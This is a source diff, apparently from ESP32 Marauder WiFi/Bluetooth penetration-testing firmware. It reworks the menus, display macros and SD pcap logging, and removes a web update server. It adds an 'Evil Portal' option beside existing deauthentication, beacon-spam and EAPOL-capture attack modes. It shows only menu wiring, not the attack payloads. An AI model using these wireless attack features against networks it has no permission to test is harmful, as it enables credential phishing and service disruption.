if ((wifi_scan_obj.currentScanMode != WIFI_SCAN_OFF) &&
(pressed) &&
(wifi_scan_obj.currentScanMode != OTA_UPDATE) &&
@@ -917,6 +888,8 @@ void MenuFunctions::main(uint32_t currentTime)
(wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_EVIL_PORTAL) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_PWN) ||
@@ -951,7 +924,7 @@ void MenuFunctions::main(uint32_t currentTime)
}
#endif
#ifdef MARAUDER_MINI
#ifdef HAS_BUTTONS
bool c_btn_press = c_btn.justPressed();
@@ -966,6 +939,8 @@ void MenuFunctions::main(uint32_t currentTime)
(wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_EVIL_PORTAL) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_PWN) ||
@@ -985,6 +960,7 @@ void MenuFunctions::main(uint32_t currentTime)
(wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_EAPOL) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) ||
(wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR))
{
wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
@@ -1007,7 +983,7 @@ void MenuFunctions::main(uint32_t currentTime)
// Check if any key coordinate boxes contain the touch coordinates
// This is for when on a menu
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
if ((wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_AP_SPAM) &&
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
@@ -1067,23 +1043,25 @@ void MenuFunctions::main(uint32_t currentTime)
y = -1;
#endif
#ifdef MARAUDER_MINI
if (u_btn.justPressed()){
if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_OFF) ||
(wifi_scan_obj.currentScanMode == OTA_UPDATE)) {
if (current_menu->selected > 0) {
current_menu->selected--;
this->buttonSelected(current_menu->selected);
if (!current_menu->list->get(current_menu->selected + 1).selected)
this->buttonNotSelected(current_menu->selected + 1);
#ifdef HAS_BUTTONS
#ifndef MARAUDER_M5STICKC
if (u_btn.justPressed()){
if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_OFF) ||
(wifi_scan_obj.currentScanMode == OTA_UPDATE)) {
if (current_menu->selected > 0) {
current_menu->selected--;
this->buttonSelected(current_menu->selected);
if (!current_menu->list->get(current_menu->selected + 1).selected)
this->buttonNotSelected(current_menu->selected + 1);
}
}
else if ((wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_EAPOL)) {
if (wifi_scan_obj.set_channel < 14)
wifi_scan_obj.changeChannel(wifi_scan_obj.set_channel + 1);
}
}
else if ((wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_EAPOL)) {
if (wifi_scan_obj.set_channel < 14)
wifi_scan_obj.changeChannel(wifi_scan_obj.set_channel + 1);
}
}
#endif
if (d_btn.justPressed()){
if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_OFF) ||
(wifi_scan_obj.currentScanMode == OTA_UPDATE)) {
@@ -1093,6 +1071,12 @@ void MenuFunctions::main(uint32_t currentTime)
if (!current_menu->list->get(current_menu->selected - 1).selected)
this->buttonNotSelected(current_menu->selected - 1);
}
else {
current_menu->selected = 0;
this->buttonSelected(current_menu->selected);
if (!current_menu->list->get(current_menu->list->size() - 1).selected)
this->buttonNotSelected(current_menu->list->size() - 1);
}
}
else if ((wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_EAPOL)) {
@@ -1211,7 +1195,7 @@ void MenuFunctions::updateStatusBar()
{
display_obj.tft.setTextSize(1);
#ifdef MARAUDER_MINI
#if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC)
display_obj.tft.setFreeFont(NULL);
#endif
@@ -1233,11 +1217,11 @@ void MenuFunctions::updateStatusBar()
if (temp_obj.current_temp != temp_obj.old_temp) {
temp_obj.old_temp = temp_obj.current_temp;
display_obj.tft.fillRect(0, 0, 50, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
display_obj.tft.drawString((String)temp_obj.current_temp + " C", 4, 0, 2);
#endif
#ifdef MARAUDER_MINI
#if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC)
display_obj.tft.drawString((String)temp_obj.current_temp + " C", 0, 0, 1);
#endif
}
@@ -1247,11 +1231,11 @@ void MenuFunctions::updateStatusBar()
if (wifi_scan_obj.set_channel != wifi_scan_obj.old_channel) {
wifi_scan_obj.old_channel = wifi_scan_obj.set_channel;
display_obj.tft.fillRect(50, 0, 50, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
display_obj.tft.drawString("CH: " + (String)wifi_scan_obj.set_channel, 50, 0, 2);
#endif
#ifdef MARAUDER_MINI
#if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC)
display_obj.tft.drawString("CH: " + (String)wifi_scan_obj.set_channel, TFT_WIDTH/4, 0, 1);
#endif
}
@@ -1261,11 +1245,11 @@ void MenuFunctions::updateStatusBar()
if (wifi_scan_obj.free_ram != wifi_scan_obj.old_free_ram) {
wifi_scan_obj.old_free_ram = wifi_scan_obj.free_ram;
display_obj.tft.fillRect(100, 0, 60, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
display_obj.tft.drawString((String)wifi_scan_obj.free_ram + "B", 100, 0, 2);
#endif
#ifdef MARAUDER_MINI
#if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC)
display_obj.tft.drawString((String)wifi_scan_obj.free_ram + "B", TFT_WIDTH/1.75, 0, 1);
#endif
}
@@ -1274,12 +1258,16 @@ void MenuFunctions::updateStatusBar()
MenuFunctions::battery(false);
// Draw SD info
if (sd_obj.supported)
the_color = TFT_GREEN;
else
#ifndef WRITE_PACKETS_SERIAL
if (sd_obj.supported)
the_color = TFT_GREEN;
else
the_color = TFT_RED;
#else
the_color = TFT_RED;
#endif
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
display_obj.tft.drawXBitmap(170,
0,
menu_icons[STATUS_SD],
@@ -1289,7 +1277,7 @@ void MenuFunctions::updateStatusBar()
the_color);
#endif
#ifdef MARAUDER_MINI
#if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC)
display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
display_obj.tft.drawString("SD", TFT_WIDTH - 12, 0, 1);
#endif
@@ -1298,7 +1286,7 @@ void MenuFunctions::updateStatusBar()
void MenuFunctions::drawStatusBar()
{
display_obj.tft.setTextSize(1);
#ifdef MARAUDER_MINI
#if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC)
display_obj.tft.setFreeFont(NULL);
#endif
display_obj.tft.fillRect(0, 0, 240, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
@@ -1323,11 +1311,11 @@ void MenuFunctions::drawStatusBar()
display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
temp_obj.old_temp = temp_obj.current_temp;
display_obj.tft.fillRect(0, 0, 50, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
display_obj.tft.drawString((String)temp_obj.current_temp + " C", 4, 0, 2);
#endif
#ifdef MARAUDER_MINI
#if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC)
display_obj.tft.drawString((String)temp_obj.current_temp + " C", 0, 0, 1);
#endif
display_obj.tft.setTextColor(TFT_WHITE, STATUSBAR_COLOR);
@@ -1336,11 +1324,11 @@ void MenuFunctions::drawStatusBar()
// WiFi Channel Stuff
wifi_scan_obj.old_channel = wifi_scan_obj.set_channel;
display_obj.tft.fillRect(50, 0, 50, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
display_obj.tft.drawString("CH: " + (String)wifi_scan_obj.set_channel, 50, 0, 2);
#endif
#ifdef MARAUDER_MINI
#if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC)
display_obj.tft.drawString("CH: " + (String)wifi_scan_obj.set_channel, TFT_WIDTH/4, 0, 1);
#endif
@@ -1348,11 +1336,11 @@ void MenuFunctions::drawStatusBar()
wifi_scan_obj.freeRAM();
wifi_scan_obj.old_free_ram = wifi_scan_obj.free_ram;
display_obj.tft.fillRect(100, 0, 60, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
display_obj.tft.drawString((String)wifi_scan_obj.free_ram + "B", 100, 0, 2);
#endif
#ifdef MARAUDER_MINI
#if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC)
display_obj.tft.drawString((String)wifi_scan_obj.free_ram + "B", TFT_WIDTH/1.75, 0, 1);
#endif
@@ -1360,12 +1348,16 @@ void MenuFunctions::drawStatusBar()
MenuFunctions::battery2(true);
// Draw SD info
if (sd_obj.supported)
the_color = TFT_GREEN;
else
#ifndef WRITE_PACKETS_SERIAL
if (sd_obj.supported)
the_color = TFT_GREEN;
else
the_color = TFT_RED;
#else
the_color = TFT_RED;
#endif
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
display_obj.tft.drawXBitmap(170,
0,
menu_icons[STATUS_SD],
@@ -1375,7 +1367,7 @@ void MenuFunctions::drawStatusBar()
the_color);
#endif
#ifdef MARAUDER_MINI
#if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC)
display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
display_obj.tft.drawString("SD", TFT_WIDTH - 12, 0, 1);
#endif
@@ -1389,7 +1381,7 @@ void MenuFunctions::orientDisplay()
display_obj.tft.setCursor(0, 0);
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
#ifdef TFT_SHIELD
uint16_t calData[5] = { 275, 3494, 361, 3528, 4 }; // tft.setRotation(0); // Portrait with TFT Shield
//Serial.println("Using TFT Shield");
@@ -1456,7 +1448,7 @@ void MenuFunctions::RunSetup()
{
extern LinkedList<AccessPoint>* access_points;
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
this->initLVGL();
#endif
@@ -1466,7 +1458,6 @@ void MenuFunctions::RunSetup()
// Main menu stuff
wifiMenu.list = new LinkedList<MenuNode>(); // Get list in second menu ready
bluetoothMenu.list = new LinkedList<MenuNode>(); // Get list in third menu ready
badusbMenu.list = new LinkedList<MenuNode>();
generalMenu.list = new LinkedList<MenuNode>();
deviceMenu.list = new LinkedList<MenuNode>();
@@ -1474,7 +1465,6 @@ void MenuFunctions::RunSetup()
failedUpdateMenu.list = new LinkedList<MenuNode>();
whichUpdateMenu.list = new LinkedList<MenuNode>();
confirmMenu.list = new LinkedList<MenuNode>();
espUpdateMenu.list = new LinkedList<MenuNode>();
updateMenu.list = new LinkedList<MenuNode>();
settingsMenu.list = new LinkedList<MenuNode>();
specSettingMenu.list = new LinkedList<MenuNode>();
@@ -1501,13 +1491,11 @@ void MenuFunctions::RunSetup()
// Work menu names
mainMenu.name = text_table1[6];
wifiMenu.name = text_table1[7];
badusbMenu.name = text_table1[8];
deviceMenu.name = text_table1[9];
generalMenu.name = text_table1[10];
failedUpdateMenu.name = text_table1[11];
whichUpdateMenu.name = text_table1[12];
confirmMenu.name = text_table1[13];
espUpdateMenu.name = text_table1[14];
updateMenu.name = text_table1[15];
languageMenu.name = text_table1[16];
infoMenu.name = text_table1[17];
@@ -1534,9 +1522,9 @@ void MenuFunctions::RunSetup()
addNodes(&mainMenu, text_table1[19], TFT_CYAN, NULL, BLUETOOTH, [this]() {
changeMenu(&bluetoothMenu);
});
if (a32u4_obj.supported) addNodes(&mainMenu, text_table1[8], TFT_RED, NULL, BAD_USB_ICO, [this]() {
changeMenu(&badusbMenu);
});
//if (a32u4_obj.supported) addNodes(&mainMenu, text_table1[8], TFT_RED, NULL, BAD_USB_ICO, [this]() {
// changeMenu(&badusbMenu);
//});
addNodes(&mainMenu, text_table1[10], TFT_MAGENTA, NULL, GENERAL_APPS, [this]() {
changeMenu(&generalMenu);
});
@@ -1555,9 +1543,6 @@ void MenuFunctions::RunSetup()
addNodes(&wifiMenu, text_table1[31], TFT_YELLOW, NULL, SNIFFERS, [this]() {
changeMenu(&wifiSnifferMenu);
});
//addNodes(&wifiMenu, "Scanners", TFT_ORANGE, NULL, SCANNERS, [this]() {
// changeMenu(&wifiScannerMenu);
//});
addNodes(&wifiMenu, text_table1[32], TFT_RED, NULL, ATTACKS, [this]() {
changeMenu(&wifiAttackMenu);
});
@@ -1585,7 +1570,7 @@ void MenuFunctions::RunSetup()
this->drawStatusBar();
wifi_scan_obj.StartScan(WIFI_SCAN_DEAUTH, TFT_RED);
});
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
addNodes(&wifiSnifferMenu, text_table1[46], TFT_VIOLET, NULL, EAPOL, [this]() {
wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
});
@@ -1609,11 +1594,6 @@ void MenuFunctions::RunSetup()
this->drawStatusBar();
wifi_scan_obj.StartScan(WIFI_SCAN_PWN, TFT_RED);
});
/*addNodes(&wifiSnifferMenu, text_table1[48], TFT_ORANGE, NULL, ESPRESSIF, [this]() {
display_obj.clearScreen();
this->drawStatusBar();
wifi_scan_obj.StartScan(WIFI_SCAN_ESPRESSIF, TFT_ORANGE);
});*/
addNodes(&wifiSnifferMenu, text_table1[49], TFT_MAGENTA, NULL, BEACON_SNIFF, [this]() {
display_obj.clearScreen();
this->drawStatusBar();
@@ -1629,6 +1609,13 @@ void MenuFunctions::RunSetup()
this->drawStatusBar();
wifi_scan_obj.StartScan(WIFI_SCAN_STATION, TFT_WHITE);
});
#ifdef HAS_ILI9341
addNodes(&wifiSnifferMenu, "Signal Monitor", TFT_CYAN, NULL, PACKET_MONITOR, [this]() {
display_obj.clearScreen();
this->drawStatusBar();
wifi_scan_obj.StartScan(WIFI_SCAN_SIG_STREN, TFT_CYAN);
});
#endif
// Build WiFi attack menu
wifiAttackMenu.parentMenu = &wifiMenu; // Main Menu is second menu parent
@@ -1655,6 +1642,11 @@ void MenuFunctions::RunSetup()
this->drawStatusBar();
wifi_scan_obj.StartScan(WIFI_ATTACK_AUTH, TFT_RED);
});
addNodes(&wifiAttackMenu, "Evil Portal", TFT_ORANGE, NULL, BEACON_SNIFF, [this]() {
display_obj.clearScreen();
this->drawStatusBar();
wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_ORANGE);
});
addNodes(&wifiAttackMenu, text_table1[54], TFT_RED, NULL, DEAUTH_SNIFF, [this]() {
display_obj.clearScreen();
this->drawStatusBar();
@@ -1681,7 +1673,7 @@ void MenuFunctions::RunSetup()
addNodes(&wifiGeneralMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
changeMenu(wifiGeneralMenu.parentMenu);
});
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
addNodes(&wifiGeneralMenu, text_table1[55], TFT_DARKCYAN, NULL, JOIN_WIFI, [this](){
display_obj.clearScreen();
wifi_scan_obj.currentScanMode = LV_JOIN_WIFI;
@@ -1697,7 +1689,7 @@ void MenuFunctions::RunSetup()
changeMenu(&generateSSIDsMenu);
wifi_scan_obj.RunGenerateSSIDs();
});
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
addNodes(&wifiGeneralMenu, text_table1[1], TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
display_obj.clearScreen();
//wifi_scan_obj.currentScanMode = LV_ADD_SSID;
@@ -1717,7 +1709,7 @@ void MenuFunctions::RunSetup()
changeMenu(&clearAPsMenu);
wifi_scan_obj.RunClearStations();
});
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
// Select APs on OG
addNodes(&wifiGeneralMenu, text_table1[56], TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
display_obj.clearScreen();
@@ -1851,21 +1843,21 @@ void MenuFunctions::RunSetup()
});
// Bad USB Menu
badusbMenu.parentMenu = &mainMenu;
addNodes(&badusbMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
changeMenu(badusbMenu.parentMenu);
});
addNodes(&badusbMenu, text_table1[36], TFT_PURPLE, NULL, TEST_BAD_USB_ICO, [this]() {
a32u4_obj.test();
});
#ifndef MARAUDER_MINI
addNodes(&badusbMenu, text_table1[37], TFT_RED, NULL, BAD_USB_ICO, [this](){
display_obj.clearScreen();
wifi_scan_obj.currentScanMode = LV_ADD_SSID;
wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED);
writeBadUSB();
});
#endif
//badusbMenu.parentMenu = &mainMenu;
//addNodes(&badusbMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
// changeMenu(badusbMenu.parentMenu);
//});
//addNodes(&badusbMenu, text_table1[36], TFT_PURPLE, NULL, TEST_BAD_USB_ICO, [this]() {
// a32u4_obj.test();
//});
//#ifdef HAS_ILI9341
// addNodes(&badusbMenu, text_table1[37], TFT_RED, NULL, BAD_USB_ICO, [this](){
// display_obj.clearScreen();
// wifi_scan_obj.currentScanMode = LV_ADD_SSID;
// wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED);
// writeBadUSB();
// });
//#endif
// General apps menu
generalMenu.parentMenu = &mainMenu;
@@ -1938,28 +1930,30 @@ void MenuFunctions::RunSetup()
wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
changeMenu(whichUpdateMenu.parentMenu);
});
addNodes(&whichUpdateMenu, text_table1[39], TFT_GREEN, NULL, WEB_UPDATE, [this]() {
wifi_scan_obj.currentScanMode = OTA_UPDATE;
changeMenu(&updateMenu);
web_obj.setupOTAupdate();
});
if (sd_obj.supported) addNodes(&whichUpdateMenu, text_table1[40], TFT_MAGENTA, NULL, SD_UPDATE, [this]() {
wifi_scan_obj.currentScanMode = OTA_UPDATE;
changeMenu(&confirmMenu);
});
addNodes(&whichUpdateMenu, text_table1[41], TFT_RED, NULL, ESP_UPDATE_ICO, [this]() {
wifi_scan_obj.currentScanMode = ESP_UPDATE;
changeMenu(&espUpdateMenu);
esp_obj.RunUpdate();
});
//addNodes(&whichUpdateMenu, text_table1[39], TFT_GREEN, NULL, WEB_UPDATE, [this]() {
// wifi_scan_obj.currentScanMode = OTA_UPDATE;
// changeMenu(&updateMenu);
// web_obj.setupOTAupdate();
//});
#ifndef WRITE_PACKETS_SERIAL
if (sd_obj.supported) addNodes(&whichUpdateMenu, text_table1[40], TFT_MAGENTA, NULL, SD_UPDATE, [this]() {
wifi_scan_obj.currentScanMode = OTA_UPDATE;
changeMenu(&confirmMenu);
});
#endif
//addNodes(&whichUpdateMenu, text_table1[41], TFT_RED, NULL, ESP_UPDATE_ICO, [this]() {
// wifi_scan_obj.currentScanMode = ESP_UPDATE;
// changeMenu(&espUpdateMenu);
// esp_obj.RunUpdate();
//});
// ESP Update Menu
espUpdateMenu.parentMenu = &whichUpdateMenu;
addNodes(&espUpdateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
esp_obj.bootRunMode();
changeMenu(espUpdateMenu.parentMenu);
});
//espUpdateMenu.parentMenu = &whichUpdateMenu;
//addNodes(&espUpdateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
// wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
// esp_obj.bootRunMode();
// changeMenu(espUpdateMenu.parentMenu);
//});
// Confirm SD update menu
confirmMenu.parentMenu = &whichUpdateMenu;
@@ -1975,12 +1969,12 @@ void MenuFunctions::RunSetup()
// Web Update
updateMenu.parentMenu = &deviceMenu;
addNodes(&updateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
changeMenu(updateMenu.parentMenu);
WiFi.softAPdisconnect(true);
web_obj.shutdownServer();
});
//addNodes(&updateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
// wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
// changeMenu(updateMenu.parentMenu);
// WiFi.softAPdisconnect(true);
// web_obj.shutdownServer();
//});
//addNodes(&updateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this](){wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF; changeMenu(updateMenu.parentMenu);});
// Failed update menu
@@ -2083,17 +2077,17 @@ void MenuFunctions::displayCurrentMenu()
if (current_menu->list != NULL)
{
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
display_obj.tft.setFreeFont(MENU_FONT);
#endif
#ifdef MARAUDER_MINI
#if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC)
display_obj.tft.setFreeFont(NULL);
display_obj.tft.setTextSize(1);
#endif
for (uint8_t i = 0; i < current_menu->list->size(); i++)
{
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
if (!current_menu->list->get(i).selected)
display_obj.key[i].drawButton(false, current_menu->list->get(i).name);
else
@@ -2110,7 +2104,7 @@ void MenuFunctions::displayCurrentMenu()
#endif
#ifdef MARAUDER_MINI
#if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC)
if ((current_menu->selected == i) || (current_menu->list->get(i).selected))
display_obj.key[i].drawButton(true, current_menu->list->get(i).name);
else

View File

@@ -11,12 +11,12 @@
#include "Display.h"
#include "BatteryInterface.h"
#include "SDInterface.h"
#include "Web.h"
#include "esp_interface.h"
#include "a32u4_interface.h"
//#include "Web.h"
//#include "esp_interface.h"
//#include "a32u4_interface.h"
#include "settings.h"
#ifdef MARAUDER_MINI
#ifdef HAS_BUTTONS
#include <SwitchLib.h>
extern SwitchLib u_btn;
extern SwitchLib d_btn;
@@ -27,11 +27,11 @@
extern Display display_obj;
extern WiFiScan wifi_scan_obj;
extern Web web_obj;
//extern Web web_obj;
extern SDInterface sd_obj;
extern BatteryInterface battery_obj;
extern EspInterface esp_obj;
extern A32u4Interface a32u4_obj;
//extern EspInterface esp_obj;
//extern A32u4Interface a32u4_obj;
extern Settings settings_obj;
#define FLASH_BUTTON 0

View File

@@ -2,82 +2,130 @@
#include "lang_var.h"
bool SDInterface::initSD() {
String display_string = "";
#ifdef HAS_SD
String display_string = "";
#ifdef KIT
pinMode(SD_DET, INPUT);
if (digitalRead(SD_DET) == LOW) {
Serial.println(F("SD Card Detect Pin Detected"));
}
else {
Serial.println(F("SD Card Detect Pin Not Detected"));
#ifdef KIT
pinMode(SD_DET, INPUT);
if (digitalRead(SD_DET) == LOW) {
Serial.println(F("SD Card Detect Pin Detected"));
}
else {
Serial.println(F("SD Card Detect Pin Not Detected"));
this->supported = false;
return false;
}
#endif
pinMode(SD_CS, OUTPUT);
delay(10);
if (!SD.begin(SD_CS)) {
Serial.println(F("Failed to mount SD Card"));
this->supported = false;
return false;
}
#endif
else {
this->supported = true;
this->cardType = SD.cardType();
//if (cardType == CARD_MMC)
// Serial.println(F("SD: MMC Mounted"));
//else if(cardType == CARD_SD)
// Serial.println(F("SD: SDSC Mounted"));
//else if(cardType == CARD_SDHC)
// Serial.println(F("SD: SDHC Mounted"));
//else
// Serial.println(F("SD: UNKNOWN Card Mounted"));
pinMode(SD_CS, OUTPUT);
this->cardSizeMB = SD.cardSize() / (1024 * 1024);
//Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
delay(10);
if (this->supported) {
const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
char sz[NUM_DIGITS + 1];
sz[NUM_DIGITS] = 0;
for ( size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10)
{
sz[i] = '0' + (this->cardSizeMB % 10);
display_string.concat((String)sz[i]);
}
if (!SD.begin(SD_CS)) {
Serial.println(F("Failed to mount SD Card"));
this->supported = false;
return false;
}
else {
this->supported = true;
this->cardType = SD.cardType();
//if (cardType == CARD_MMC)
// Serial.println(F("SD: MMC Mounted"));
//else if(cardType == CARD_SD)
// Serial.println(F("SD: SDSC Mounted"));
//else if(cardType == CARD_SDHC)
// Serial.println(F("SD: SDHC Mounted"));
//else
// Serial.println(F("SD: UNKNOWN Card Mounted"));
this->cardSizeMB = SD.cardSize() / (1024 * 1024);
//Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
if (this->supported) {
const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
char sz[NUM_DIGITS + 1];
sz[NUM_DIGITS] = 0;
for ( size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10)
{
sz[i] = '0' + (this->cardSizeMB % 10);
display_string.concat((String)sz[i]);
this->card_sz = sz;
}
this->card_sz = sz;
}
buffer_obj = Buffer();
buffer_obj = Buffer();
if (!SD.exists("/SCRIPTS")) {
Serial.println("/SCRIPTS does not exist. Creating...");
if (!SD.exists("/SCRIPTS")) {
Serial.println("/SCRIPTS does not exist. Creating...");
SD.mkdir("/SCRIPTS");
Serial.println("/SCRIPTS created");
}
SD.mkdir("/SCRIPTS");
Serial.println("/SCRIPTS created");
}
return true;
return true;
}
#else
Serial.println("SD support disabled, skipping init");
return false;
#endif
}
File SDInterface::getFile(String path) {
if (this->supported) {
File file = SD.open(path, FILE_READ);
//if (file)
return file;
}
}
void SDInterface::addPacket(uint8_t* buf, uint32_t len) {
void SDInterface::listDir(String str_dir){
if (this->supported) {
File dir = SD.open(str_dir);
while (true)
{
File entry = dir.openNextFile();
if (! entry)
{
break;
}
//for (uint8_t i = 0; i < numTabs; i++)
//{
// Serial.print('\t');
//}
Serial.print(entry.name());
Serial.print("\t");
Serial.println(entry.size());
entry.close();
}
}
}
void SDInterface::addPacket(uint8_t* buf, uint32_t len, bool log) {
if ((this->supported) && (this->do_save)) {
buffer_obj.addPacket(buf, len);
buffer_obj.addPacket(buf, len, log);
}
}
void SDInterface::openCapture(String file_name) {
if (this->supported)
buffer_obj.open(&SD, file_name);
bool save_pcap = settings_obj.loadSetting<bool>("SavePCAP");
if ((this->supported) && (save_pcap)) {
buffer_obj.createPcapFile(&SD, file_name);
buffer_obj.open();
}
}
void SDInterface::openLog(String file_name) {
bool save_pcap = settings_obj.loadSetting<bool>("SavePCAP");
if ((this->supported) && (save_pcap)) {
buffer_obj.createPcapFile(&SD, file_name, true);
buffer_obj.open(true);
}
}
void SDInterface::runUpdate() {
@@ -226,4 +274,4 @@ void SDInterface::main() {
this->initSD();
}
}
}
}

View File

@@ -3,6 +3,7 @@
#include "configs.h"
#include "settings.h"
#include "SD.h"
#include "Buffer.h"
#ifdef HAS_SCREEN
@@ -11,6 +12,7 @@
#include <Update.h>
extern Buffer buffer_obj;
extern Settings settings_obj;
#ifdef HAS_SCREEN
extern Display display_obj;
#endif
@@ -37,8 +39,11 @@ class SDInterface {
bool initSD();
void addPacket(uint8_t* buf, uint32_t len);
void listDir(String str_dir);
File getFile(String path);
void addPacket(uint8_t* buf, uint32_t len, bool log = false);
void openCapture(String file_name = "");
void openLog(String file_name = "");
void runUpdate();
void performUpdate(Stream &updateSource, size_t updateSize);
void main();

View File

@@ -19,10 +19,7 @@ void TemperatureInterface::RunSetup() {
}
uint8_t TemperatureInterface::getCurrentTemp() {
#ifndef MARAUDER_FLIPPER
return ((temprature_sens_read() - 32) / 1.8);
#endif
return 0;
return ((temprature_sens_read() - 32) / 1.8);
}
void TemperatureInterface::main(uint32_t currentTime) {

View File

@@ -1,178 +0,0 @@
#include "Web.h"
#include "lang_var.h"
WebServer server(80);
Web::Web()
{
}
void Web::main()
{
// Notify if client has connected to the update server
int current_sta = WiFi.softAPgetStationNum();
if (current_sta < this->num_sta)
{
this->num_sta = current_sta;
Serial.print("Update server: Client disconnected -> ");
Serial.println(this->num_sta);
}
else if (current_sta > this->num_sta)
{
this->num_sta = current_sta;
Serial.print("Update server: Client connected -> ");
Serial.println(this->num_sta);
}
server.handleClient();
delay(1);
}
// Callback for the embedded jquery.min.js page
void Web::onJavaScript(void) {
Serial.println("onJavaScript(void)");
server.setContentLength(jquery_min_js_v3_2_1_gz_len);
server.sendHeader(F("Content-Encoding"), F("gzip"));
server.send_P(200, "text/javascript", jquery_min_js_v3_2_1_gz, jquery_min_js_v3_2_1_gz_len);
}
void Web::setupOTAupdate()
{
uint8_t newMACAddress[] = {0x06, 0x07, 0x0D, 0x09, 0x0E, 0x0D};
#ifdef HAS_SCREEN
display_obj.tft.setTextWrap(false);
display_obj.tft.setFreeFont(NULL);
display_obj.tft.setCursor(0, 100);
